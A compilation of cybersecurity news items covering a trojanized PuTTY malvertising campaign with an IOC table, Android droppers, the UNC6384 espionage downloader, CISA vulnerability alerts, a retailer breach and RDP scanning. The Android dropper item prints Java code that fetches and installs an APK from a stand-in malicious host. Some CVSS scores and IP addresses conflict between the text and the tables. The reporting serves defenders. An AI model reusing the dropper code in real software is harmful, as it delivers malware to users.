• Cybersecurity researchers have discovered a new variant of an Android banking trojan called HOOK that features ransomware-style overlay screens to display extortion messages. “A prominent characteristic of the latest variant is its capacity to deploy a full-screen ransomware overlay, which aims to coerce the victim into remitting a ransom payment,” Zimperium zLabs researcher Vishnu Pratapagiri

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A malvertising campaign using sponsored results on Microsoft’s search platform delivered a weaponized PuTTY that established persistence, enabled hands-on keyboard control, and executed Kerberoasting to target Active Directory service accounts.

    According to an investigation published by LevelBlue’s MDR SOC and corroborated by independent research tracking Oyster/Broomstick backdoor activity tied to trojanized admin tools distributed via search ads and SEO poisoning.

    Search results highlight a sponsored link for downloading PuTTY, illustrating the malvertising tactics used in the campaign.
    Search results highlight a sponsored link for downloading PuTTY, illustrating the malvertising tactics used in the campaign.

    LevelBlue’s SOC received a SentinelOne high-risk alert in USM Anywhere, flagging a suspicious PuTTY.exe download signed by “NEW VISION MARKETING LLC,” an unexpected signer for legitimate PuTTY and the first red flag on the endpoint.

    The analysis highlighted outbound traffic from PuTTY.exe to malicious infrastructure, suspicious DLL creation in %appdata% and %temp%, scheduled-task persistence via rundll32 DllRegisterServer, and HOK activity culminating in Kerberoasting. 

    Next, the asset was isolated, the account was disabled, and execution chains were reconstructed. This revealed that the fake installer had scheduled a task, “Security Updater,” to run every three minutes, loading a malicious DLL (twain_96.dll). This DLL then dropped “green.dll,” which was used for operator access and reconnaissance.

    Weaponized PuTTY to Exploit Kerberos

    Fake PuTTY with an anomalous code-signing certificate executed and created a scheduled task persistence, invoking rundll32 with DllRegisterServer at three-minute intervals.

    The first-stage DLL (twain_96[.]dll) dropped a second-stage (green[.]dll) that initiated a single outbound 443 connection and spawned cmd[.]exe for discovery commands consistent with ransomware operator TTPs (nltest, net group domain admins, nltest /dclist).

    SentinelOne telemetry and VirusTotal classifications mapped the DLLs to the Oyster/Broomstick backdoor family known for hardcoded C2, scheduled-task persistence, and remote command execution.

    The final recorded action was an inline PowerShell script performing Kerberoasting, requesting TGS tickets for SPN-bearing accounts and leveraging weak RC4-HMAC if AES enforcement was absent, then extracting ticket bytes in-memory to emit Hashcat-ready $krb5tgs$ material (mode 13100).

    PowerShell script showcasing a command execution bypass designed for Kerberoasting
    PowerShell script showcasing a command execution bypass designed for Kerberoasting

    The script borrowed from Invoke-Kerberoast patterns, executed fully in-memory without disk writes, and was validated via USM Anywhere events showing RC4-HMAC-encrypted Kerberos service tickets (Event ID 4769). This enabled offline cracking of service account credentials for privilege escalation and lateral movement against AD services.

    LevelBlue traced the initial access to malicious sponsored results impersonating putty[.]org and redirecting to typosquatted domains such as puttyy[.]org and puttysystems[.]com that delivered the trojanized installer, with payload hosting observed via heartlandenergy[.]ai and a rotating loader script at putty[.]network pulling from compromised WordPress sites.

    The MDR team noted variant payload hashes, multiple code-signing certificates (including NEW VISION MARKETING LLC) to evade hash/signer-based detections, and alternate scheduled-task names such as “FireFox Agent INC” in sandboxed samples.

    This activity aligns with broader 2024–2025 malvertising/SEO poisoning trends delivering trojanized PuTTY/WinSCP and Oyster/Broomstick, as reported by Rapid7 and Arctic Wolf.

    Here is a consolidated table of the reported IOCs from the LevelBlue investigation into weaponized PuTTY malvertising tied to the Oyster/Broomstick backdoor; add these to blocklists and detection pipelines for rapid containment. The entries below reflect the indicators documented by LevelBlue and aligned open-source reporting on the same campaign.

    Below is the consolidated IOC table combining domains, hashes, signers, IPs, URLs, and scheduled tasks linked to the weaponized PuTTY/Oyster malvertising activity. Use these indicators for blocklists, retro-hunting, and detection content.

    TypeIndicatorContext/Notes
    Domainputtyy[.]orgTyposquat used to deliver trojanized PuTTY installers.
    Domainputtysystems[.]comMalvertising landing used to impersonate PuTTY download.
    Domainupdaterputty[.]comNewly registered domain associated with campaign flow.
    Domainputty[.]betCampaign-associated domain registration.
    Domainputtyy[.]comTyposquat tied to delivery infrastructure.
    Domainputty[.]runCampaign-associated domain registration.
    Domainputty[.]latCampaign-associated domain registration.
    Domainputty[.]us[.]comCampaign-associated domain registration.
    Domainheartlandenergy[.]aiObserved hosting payload behind “Download PuTTY.”
    Domainputty[.]networkLoader page rotating mirrors via JS for payload checks.
    Domainruben.findinit[.]comCompromised WordPress site used to serve payloads.
    Domainekeitoro.siteinwp[.]comCompromised WordPress site used to serve payloads.
    Domaindanielaurel[.]tvCompromised WordPress site used to serve payloads.
    File hash (SHA256)0b85ad058aa224d0b66ac7fdc4f3b71145aede462068cc9708ec2cee7c5717d4Malicious PuTTY/Oyster-related sample.
    File hash (SHA256)e9f05410293f97f20d528f1a4deddc5e95049ff1b0ec9de4bf3fd7f5b8687569Malicious PuTTY/Oyster-related sample.
    File hash (SHA256)d73bcb2b67aebb19ff26a840d3380797463133c2c8f61754020794d31a9197d1Malicious PuTTY/Oyster-related sample.
    File hash (SHA256)dd995934bdab89ca6941633dea1ef6e6d9c3982af5b454ecb0a6c440032b30fbMalicious PuTTY/Oyster-related sample.
    File hash (SHA256)03012e22602837132c4611cac749de39fb1057a8dead227594d4d4f6fb961552Malicious PuTTY/Oyster-related sample.
    File hash (SHA256)a653b4f7f76ee8e6bd9ffa816c0a14dca2d591a84ee570d4b6245079064b5794Malicious PuTTY/Oyster-related sample.
    File hash (SHA256)e02d21a83c41c15270a854c005c4b5dfb94c2ddc03bb4266aa67fc0486e5dd35Malicious PuTTY/Oyster-related sample.
    File hash (SHA256)80c8a6ecd5619d137aa57ddf252ab5dc9044266fca87f3e90c5b7f3664c5142fMalicious PuTTY/Oyster-related sample.
    File hash (SHA256)1112b72f47b7d09835c276c412c83d89b072b2f0fb25a0c9e2fed7cf08b55a41Malicious PuTTY/Oyster-related sample.
    File hash (SHA256)3d22a974677164d6bd7166e521e96d07cd00c884b0aeacb5555505c6a62a1c26Malicious PuTTY/Oyster-related sample.
    File hash (SHA256)e8e9f0da26a3d6729e744a6ea566c4fd4e372ceb4b2e7fc01d08844bfc5c3abbMalicious PuTTY/Oyster-related sample.
    File hash (SHA256)eef6d4b6bdf48a605cade0b517d5a51fc4f4570e505f3d8b9b66158902dcd4afMalicious PuTTY/Oyster-related sample.
    File signerTHE COMB REIVERS LIMITEDAbused code-signing certificate on trojanized installers.
    File signerNEW VISION MARKETING LLCAnomalous signer on fake PuTTY[.]exe observed.
    File signerPROFTORG LLCAbused certificate on malicious samples.
    File signerLLC FortunaAbused certificate on malicious samples.
    File signerLLC BRAVERYAbused certificate on malicious samples.
    File signerLLC Infomed22Abused certificate on malicious samples.
    IP45.86.230[.]77C2/registration/login endpoints observed.
    IP185.208.159[.]119Malicious API host observed in activity.
    IP144.217.207[.]26Outbound 443 connection (green.dll).
    IP85.239.52[.]99Malicious API host observed in activity.
    IP194.213.18[.]89C2 registration/login endpoints observed.
    URL (defanged)hxxp[:]//185.208.158[.]119/api/jgfnsfnuefcnegfnehjbfncejfhMalicious API path.
    URL (defanged)hxxp[:]//185.208.158[.]119/api/kcehcMalicious API path.
    URL (defanged)hxxp[:]//45.86.230[.]77:443/regC2 registration endpoint.
    URL (defanged)hxxp[:]//45.86.230[.]77:443/loginC2 login endpoint.
    URL (defanged)hxxp[:]//85.239.52[.]99/api/jgfnsfnuefcnegfnehjbfncejfhMalicious API path.
    URL (defanged)hxxp[:]//85.239.52[.]99/api/kcehcMalicious API path.
    URL (defanged)hxxp[:]//194.213.18[.]89:443/regC2 registration endpoint.
    URL (defanged)hxxp[:]//194.213.18[.]89:443/loginC2 login endpoint.
    Scheduled taskSecurity UpdaterPersistence via rundll32 DllRegisterServer at 3‑minute intervals.
    Scheduled taskFireFox Agent INCAlternate task name seen in sandboxed samples.

    Recommendations include blocking the identified domains, enforcing AES for Kerberos on SPN accounts, rotating credentials for affected SPNs, and restricting software acquisition to vetted repositories and official vendor sites.

    Security teams should deploy custom detections for rundll32 DllRegisterServer misuse, three-minute recurring scheduled tasks, in-memory Kerberoasting patterns, and storyline correlations linking fake admin tools to DLL drops and cmd.[]exe reconnaissance.

    Continuous user training for privileged staff and rapid MDR-led threat hunting across fleets can reduce dwell time and blunt credential theft-to-ransomware escalation paths.

    Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.

    The post Weaponized PuTTY Via Bing Ads Exploit Kerberos and Attack Active Directory Services appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A comprehensive study examining the location data practices of the top 10 social media platforms has uncovered concerning patterns of user tracking that extend far beyond what most users realize. The research, which analyzed App Store disclosures from major platforms including X, Instagram, Facebook, TikTok, and others, reveals that X stands out as the most aggressive […]

    The post X/Twitter Found to Be Most Aggressive Social Media App in Tracking User Location Data appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Android droppers have evolved from niche installers for heavyweight banking Trojans into universal delivery frameworks, capable of deploying even rudimentary spyware or SMS stealers.

    Initially, droppers served banking malware families that required elevated Accessibility permissions to harvest credentials.

    These small applications appeared innocuous at first glance, often masquerading as utility or government apps in high-risk regions. Once installed, they would fetch their true payload, request powerful permissions, and activate their malicious routines.

    As defenders strengthened pre-installation scanning, threat actors began rethinking their approach.

    In recent months, a surge in dropper-based campaigns targeting Asia—particularly India and Southeast Asia—has emerged. Rather than rely solely on complex RATs or financial Trojans, adversaries now encapsulate simple payloads within dropper shells.

    This strategy exploits a critical gap in Google Play Protect’s Pilot Program, which performs a pre-installation permission and API scan but allows installation to proceed if the user confirms.

    Threat Fabric analysts noted that this pivot not only circumvents upfront defenses but also future-proofs operations, enabling rapid payload swaps without modifying the dropper itself.

    By embedding minimalist stage-one code that carries no high-risk permissions, modern droppers slip through Pilot Program inspections undetected.

    RewardDropMiner (Source – Threat Fabric)

    Threat Fabric researchers identified variants like RewardDropMiner.B, stripped of its Monero miner and fallback spyware, retaining only the dropper logic to reduce noise and evade detection.

    Apps requesting malicious permissions blocked (Source – Threat Fabric)

    Once the benign “update” prompt is accepted by a user, a concealed routine fetches or decrypts the secondary APK, dynamically requesting RECEIVE_SMS or BIND_NOTIFICATION permissions only upon first launch of the true payload.

    The impact of these campaigns is twofold: defenders lose early visibility into malicious activity, and operators maintain a stable foothold capable of delivering arbitrary payloads.

    This modularity allows threat actors to react swiftly to security updates or law enforcement takedowns by uploading new payloads behind an unchanged dropper shell hosted on their command-and-control infrastructure.

    Infection Mechanism and Evasion Tactics

    Delving into the infection mechanism reveals a multi-stage process designed for stealth and resiliency. The dropper’s manifest declares only INTERNET and REQUEST_INSTALL_PACKAGES permissions, avoiding flags in Play Protect’s Pilot scan.

    Upon user interaction with the “update” interface, the dropper initiates an HTTPS request to a remote server:-

    String payloadUrl = "https://malicious.example.com/payload.apk";
    OkHttpClient client = new OkHttpClient();
    Request request = new Request.Builder().url(payloadUrl).build();
    Response response = client.newCall(request).execute();
    if (response.isSuccessful()) {
        File apk = new File(getExternalFilesDir(null), "payload.apk");
        try (FileOutputStream fos = new FileOutputStream(apk)) {
            fos.write(response.body().bytes());
        }
        Intent installIntent = new Intent(Intent.ACTION_VIEW);
        installIntent.setDataAndType(
            FileProvider.getUriForFile(this, getPackageName()+".provider", apk),
            "application/vnd.android.package-archive"
        );
        installIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
        startActivity(installIntent);
    }

    This snippet exemplifies the dropper’s use of standard APIs to download and prompt installation of the payload without triggering high-risk permission alerts.

    After installation, the payload’s launcher activity requests RECEIVE_SMS and BIND_NOTIFICATION, at which point Play Protect may warn the user—but often too late, as trust in the initial dropper transfer extends to the newly installed app.

    These evasion tactics highlight a pressing need for defenders to correlate pre- and post-install scans and to monitor side-loaded application behavior continuously.

    Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

    The post Threat Actors Adapting Android Droppers Even to Deploy Simple Malware to Stay Future-Proof appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A stealthy espionage campaign emerged in early 2025 targeting diplomats and government entities in Southeast Asia and beyond.

    At the heart of this operation lies STATICPLUGIN, a downloader meticulously disguised as a legitimate Adobe plugin update.

    Victims encountered a captive portal hijack that redirected browsers to malicious domains, where an HTTPS-secured landing page prompted users to “Install Missing Plugins…”—a ruse to lower suspicion and bypass browser warnings.

    Malware landing page (Source -Google Cloud)

    Once executed, the binary deployed a multi-stage chain culminating in the in-memory launch of the SOGU.SEC backdoor.

    Following the initial compromise, STATICPLUGIN retrieves an MSI package masquerading as a BMP image. Inside this package resides CANONSTAGER, which is DLL side-loaded to execute the encrypted payload cnmplog.dat.

    This side-loading technique exploits trusted Windows components to evade host-based defenses. Google Cloud analysts identified this novel combination of captive portal hijacking and valid code signing as a sophisticated evolution in PRC-nexus tradecraft.

    Evidence indicates that Chengdu Nuoxin Times Technology Co., Ltd. issued the signing certificates used for STATICPLUGIN, lending the downloader false legitimacy.

    These certificates, issued by GlobalSign and Let’s Encrypt, allowed the malware to bypass many endpoint security solutions that trust digitally signed binaries.

    Downloader with valid digital signature (Source -Google Cloud)

    Google Cloud researchers noted that although the original certificate expired on July 14, 2025, UNC6384 likely re-signs subsequent build iterations to maintain uninterrupted stealth.

    Detailed analysis of CANONSTAGER reveals unconventional evasion tactics. The launcher resolves Windows API addresses using a custom hashing algorithm and stores them in Thread Local Storage (TLS), an atypical location that may go unnoticed by monitoring tools.

    Example of storing function addresses in TLS array (Source -Google Cloud)

    By invoking these functions indirectly through a hidden window procedure and dispatching a WM_SHOWWINDOW message, CANONSTAGER conceals its true control flow within legitimate Windows message queues.

    Overview of CANONSTAGER execution using Windows message queue (Source -Google Cloud)

    Detection Evasion through In-Memory Execution

    One of UNC6384’s most remarkable innovations lies in its end-to-end in-memory execution. After establishing the hidden window and resolving APIs, CANONSTAGER creates a new thread to decrypt cnmplog.dat using a hardcoded 16-byte RC4 key.

    Rather than writing the decrypted SOGU.SEC payload to disk, the launcher invokes EnumSystemGeoID as a callback function to execute the backdoor directly in memory.

    This technique denies defenders valuable forensic artifacts, as no malicious binary resides on disk.

    Moreover, communications with the C2 server at 166.88.2.90 occur over HTTPS, blending with normal web traffic and further complicating network-based detection.

    The initial JavaScript triggers the download of AdobePlugins.exe, setting the stage for in-memory execution. By avoiding disk writes and leveraging valid certificates, UNC6384 has raised the bar for malware stealth.

    As Google Cloud analysts continue to monitor this campaign, defenders are urged to inspect memory artifacts, enforce strict code-signing policies, and enable Enhanced Safe Browsing to detect anomalous TLS certificates and captive portal hijacks.

    Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

    The post Chinese UNC6384 Hackers Leverages Valid Code Signing Certificates to Evade Detection appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • CISA has issued a critical alert regarding three newly identified vulnerabilities being actively exploited by threat actors.

    On August 25, 2025, CISA added these high-risk Common Vulnerabilities and Exposures (CVEs) to its Known Exploited Vulnerabilities (KEV) Catalog, signaling immediate concern for federal agencies and private organizations alike.

    Key Takeaways
    1. CISA added two Citrix Session Recording CVEs and one Git CVE to its KEV Catalog.
    2. Citrix flaws require authenticated local access; Git flaw exploits symlinked hooks for arbitrary code.
    3. Federal agencies must patch per BOD 22-01; all organizations should update immediately.

    Citrix Session Recording Vulnerabilities 

    Two of the three vulnerabilities target Citrix Session Recording infrastructure, presenting significant security risks for organizations utilizing this enterprise monitoring solution. 

    CVE-2024-8069, classified as a deserialization of untrusted data vulnerability with a CVSS 4.0 score of 5.1 (Medium), enables limited remote code execution with NetworkService Account privileges. 

    The vulnerability leverages CWE-502 (Deserialization of Untrusted Data) weakness, allowing authenticated attackers on the same intranet as the session recording server to execute arbitrary code.

    The attack vector requires the threat actor to be an authenticated user within the target network, utilizing the CVSS 4.0 vector string CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N. 

    This indicates Adjacent Network access with Low complexity, requiring Low privileges but no user interaction.

    CVE-2024-8068 represents a privilege escalation vulnerability with identical CVSS scoring, exploiting CWE-269 (Improper Privilege Management). 

    This flaw allows authenticated users within the same Windows Active Directory domain to escalate privileges to NetworkService Account access, potentially compromising the entire session recording infrastructure.

    Both Citrix vulnerabilities affect multiple Long Term Service Release (LTSR) versions, including 1912 LTSR before CU9 hotfix 19.12.9100.6, 2203 LTSR before CU5 hotfix 22.03.5100.11, 2402 LTSR before CU1 hotfix 24.02.1200.16, and the 2407 Current Release before version 24.5.200.8.

    The third addition, CVE-2025-48384, affects Git version control systems with a higher CVSS 3.1 score of 8.1 (High). 

    This vulnerability exploits CWE-59 (Improper Link Resolution Before File Access) and CWE-436 (Interpretation Conflict), enabling arbitrary code execution through broken configuration quoting mechanisms.

    The attack leverages Git’s handling of carriage return and line feed (CRLF) characters in configuration values. 

    When initializing submodules with trailing CR characters in the path, Git incorrectly processes the altered path, potentially allowing symlink-based attacks. 

    If an attacker creates a symlink pointing the altered path to the submodule hooks directory and includes an executable post-checkout hook, malicious scripts may execute unintentionally after checkout operations.

    The vulnerability affects Git versions prior to 2.43.7, 2.44.4, 2.45.4, 2.46.4, 2.47.3, 2.48.2, 2.49.1, and 2.50.1, with the CVSS vector CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H indicating Network access with High complexity but potentially catastrophic impact.

    CVETitleCVSS 3.1 ScoreSeverity
    CVE-2024-8069Limited remote code execution with NetworkService privileges8.8 High
    CVE-2024-8068Privilege escalation to NetworkService Account access8.0High
    CVE-2025-48384Git allows arbitrary code execution through broken config quoting8.1High

    Mitigations

    Under Binding Operational Directive (BOD) 22-01, Federal Civilian Executive Branch (FCEB) agencies must remediate these KEV-listed vulnerabilities by their specified due dates. 

    CISA strongly recommends that all organizations prioritize remediation of these actively exploited vulnerabilities. 

    The agency continues expanding the KEV Catalog based on evidence of in-the-wild exploitation, emphasizing the critical nature of these security flaws for both public and private sector entities.

    Organizations should immediately assess their exposure to these vulnerabilities, particularly those utilizing Citrix Session Recording infrastructure or Git-based development workflows, and implement available patches to prevent potential compromise.

    Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.

    The post CISA Warns of Citrix RCE and Privilege Escalation Vulnerabilities Exploited in Attacks appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • French retail giant Auchan announced on August 21 that it fell victim to a cyberattack that resulted in the theft of loyalty account information belonging to several hundred thousand customers. The company revealed in an official statement that attackers accessed personal data such as names, postal and email addresses, phone numbers, and loyalty card numbers. Crucially, financial data—including bank […]

    The post French Retailer Auchan Hit by Cyberattack, Customer Data Compromised appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Google has announced plans to begin verifying the identity of all developers who distribute apps on Android, even for those who distribute their software outside the Play Store. “Android will require all apps to be registered by verified developers in order to be installed by users on certified Android devices,” the company said. “This creates crucial accountability, making it much harder for

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A massive coordinated scanning campaign targeting Microsoft Remote Desktop Protocol (RDP) services, with threat actors deploying over 30,000 unique IP addresses to probe for vulnerabilities in Microsoft RD Web Access and RDP Web Client authentication portals. 

    The campaign represents one of the largest coordinated RDP reconnaissance operations observed in recent years, signaling potential preparation for large-scale credential-based attacks.

    Key Takeaways
    1. 30,000+ IPs attack, the largest recorded Microsoft RDP scanning campaign.
    2. US schools hit during back-to-school season for username enumeration attacks.
    3.  80% chance of major exploits.

    Remote Desktop Protocol Attack Campaign

    The scanning operation began with an initial wave on August 21, 2025, involving nearly 2,000 IP addresses simultaneously targeting both Microsoft RD Web Access and Microsoft RDP Web Client services. 

    Targeting Microsoft RDP Web Access
    Graph showing unique IP addresses observed probing Microsoft RD Web Access for authentication vulnerabilities over 90 days, highlighting increased suspicious activity.

    However, the campaign escalated dramatically on August 24, when security researchers detected over 30,000 unique IP addresses conducting coordinated probes using identical client signatures, indicating a sophisticated botnet infrastructure or coordinated toolset deployment.

    Targeting Microsoft RDP Web Client
    Graph showing unique IP addresses observed conducting suspicious login enumeration checks against Microsoft RDP Web Client over the last 90 days.

    GreyNoise reports that the attack methodology focuses on timing-based authentication enumeration, a technique that exploits subtle differences in server response times to identify valid usernames without triggering traditional brute-force detection mechanisms. 

    This approach allows attackers to build comprehensive target lists for subsequent credential stuffing and password spraying operations while maintaining operational stealth.

    Network telemetry analysis reveals that 92% of the scanning infrastructure consists of previously classified malicious IP addresses, with source traffic heavily concentrated in Brazil (73% of observed sources) while exclusively targeting United States-based RDP endpoints. 

    The uniform client signature patterns across 1,851 of the 1,971 initial scanning hosts suggest a centralized command and control infrastructure typical of advanced persistent threat (APT) operations.

    Targeting the Educational Sector 

    The campaign’s timing coincides with the United States’ back-to-school period, when educational institutions typically deploy RDP-enabled laboratory environments and remote access systems for incoming students. 

    This targeting window is strategically significant, as educational networks often implement predictable username schemas (student IDs, firstname.lastname formats) that facilitate enumeration attacks.

    The threat actors are conducting multi-stage reconnaissance operations, first identifying exposed RD Web Access and RDP Web Client endpoints, then testing authentication workflows for information disclosure vulnerabilities

    This systematic approach enables the creation of comprehensive target databases containing valid usernames and accessible endpoints for future exploitation campaigns.

    Security researchers note that the same IP infrastructure has been observed conducting parallel scanning for open proxy services and web crawling operations, indicating a multipurpose threat toolkit designed for comprehensive network reconnaissance. 

    Historical analysis suggests that coordinated scanning spikes against specific technologies often precede the discovery or exploitation of zero-day vulnerabilities within six weeks, based on 80% correlation rates in previous threat intelligence research.

    The scale and coordination of this RDP scanning campaign represent a significant escalation in threat actor capabilities, potentially indicating preparation for large-scale ransomware deployment, credential harvesting operations, or the exploitation of previously unknown RDP vulnerabilities. 

    Organizations operating Microsoft RDP services should implement immediate hardening measures and monitor for follow-up exploitation attempts using the identified client signatures.

    Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.

    The post Hackers Actively Scanning to Exploit Microsoft Remote Desktop Protocol Services From 30,000+ IPs appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday added three security flaws impacting Citrix Session Recording and Git to its Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. The list of vulnerabilities is as follows – CVE-2024-8068 (CVSS score: 5.1) – An improper privilege management vulnerability in Citrix Session Recording

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶